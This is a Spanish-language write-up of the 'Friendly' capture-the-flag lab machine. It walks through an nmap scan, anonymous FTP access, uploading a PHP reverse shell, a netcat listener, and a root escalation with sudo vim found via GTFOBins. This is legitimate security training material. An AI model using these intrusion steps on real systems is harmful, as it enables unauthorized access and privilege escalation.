WriteUp de la máquina Friendly

Por Wuilmer Bolívar · IT Operations Specialist

19 Apr 2024

Progreso del WriteUp

Reconocimiento inicial

No fue necesario realizar un escaneo para identificar la dirección IP, ya que la máquina Friendly mostraba directamente la IP local que estaba usando. Procedí a realizar un escaneo completo de puertos utilizando nmap:

nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly

El resultado del escaneo mostró:

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
|_-rw-r--r--   1 ftp      nogroup      2995 Mar 17 15:22 pwned-friendly.php
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.54 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)

Resultado: Se detectaron dos servicios importantes:

  • Puerto 21: Servicio FTP ProFTPD abierto con acceso anónimo.
  • Puerto 80: Servicio HTTP con Apache.

Explotación

Me conecté al servicio FTP utilizando el acceso anónimo:

ftp 192.168.1.10

Conectado al servidor FTP, ejecuté un dir para listar los archivos disponibles. Encontré dos archivos interesantes: index.html y pwned-friendly.php. Descargué ambos a mi máquina local:

get index.html
get pwned-friendly.php

Al revisar el archivo pwned-friendly.php, me di cuenta de que contenía una reverse shell. Modifiqué el archivo para añadir mi dirección IP local y luego lo volví a subir al servidor FTP.

Luego de esto, me coloqué a la escucha utilizando netcat:

nc -lnvp 443

Finalmente, al acceder al archivo pwned-friendly.php desde el navegador, conseguí ejecutar la shell reversa y obtener acceso a la máquina. No obstante, la conexión no era estable, por lo que decidí utilizar la reverse shell de PHP PentestMonkey.

Después de modificar el contenido del archivo pwned-friendly.php con la shell de PentestMonkey y volver a subirlo, logré obtener una conexión más estable.

CTFriendlyNC.png

Una vez dentro, navegué hacia el directorio /home y encontré un directorio llamado RiJaba1. Allí se encontraba el archivo user.txt que contenía la primera bandera.

Bandera de usuario capturada:

cat user.txt

Escalada de privilegios

Para elevar privilegios, ejecuté sudo -l y descubrí que el usuario podía ejecutar vim como root sin necesidad de contraseña:

User RiJaba1 may run the following commands on friendly:
    (root) NOPASSWD: /usr/bin/vim

Me dirigí a GTFOBins para encontrar una forma de usar vim para escalar privilegios. La solución fue ejecutar el siguiente comando:

sudo vim -c ':!/bin/sh'

Resultado: Logré obtener acceso como root. Luego, me dirigí a la carpeta /root esperando encontrar la bandera de root (root.txt). Sin embargo, no estaba allí. En su lugar, encontré una pista que indicaba utilizar find para buscar la bandera.

find / -name root.txt 2>/dev/null

El comando find reveló que la bandera de root se encontraba en el directorio /var/log/apache2/. Una vez allí, ejecuté:

cat /var/log/apache2/root.txt

Bandera de root capturada.

Aprendizaje

La máquina Friendly fue un buen ejercicio para practicar el uso de servicios FTP anónimos y para aprender a usar herramientas como GTFOBins para escalar privilegios. También destacó la importancia de buscar pistas adicionales cuando el camino hacia la bandera de root no es el esperado.

Comandos

  1. Escaneo de puertos:
    nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly
    
  2. Conexión al servicio FTP:
    ftp 192.168.1.10
    
  3. Descarga de archivos desde FTP:
    get index.html
    get pwned-friendly.php
    
  4. Modificación de la reverse shell:
    nano pwned-friendly.php
    
  5. Colocarse a la escucha con netcat:
    nc -lnvp 443
    
  6. Acceso como root usando vim:
    sudo vim -c ':!/bin/sh'
    
  7. Buscar la bandera de root con find:
    find / -name root.txt 2>/dev/null
    
  8. Captura de la bandera de root:
    cat /var/log/apache2/root.txt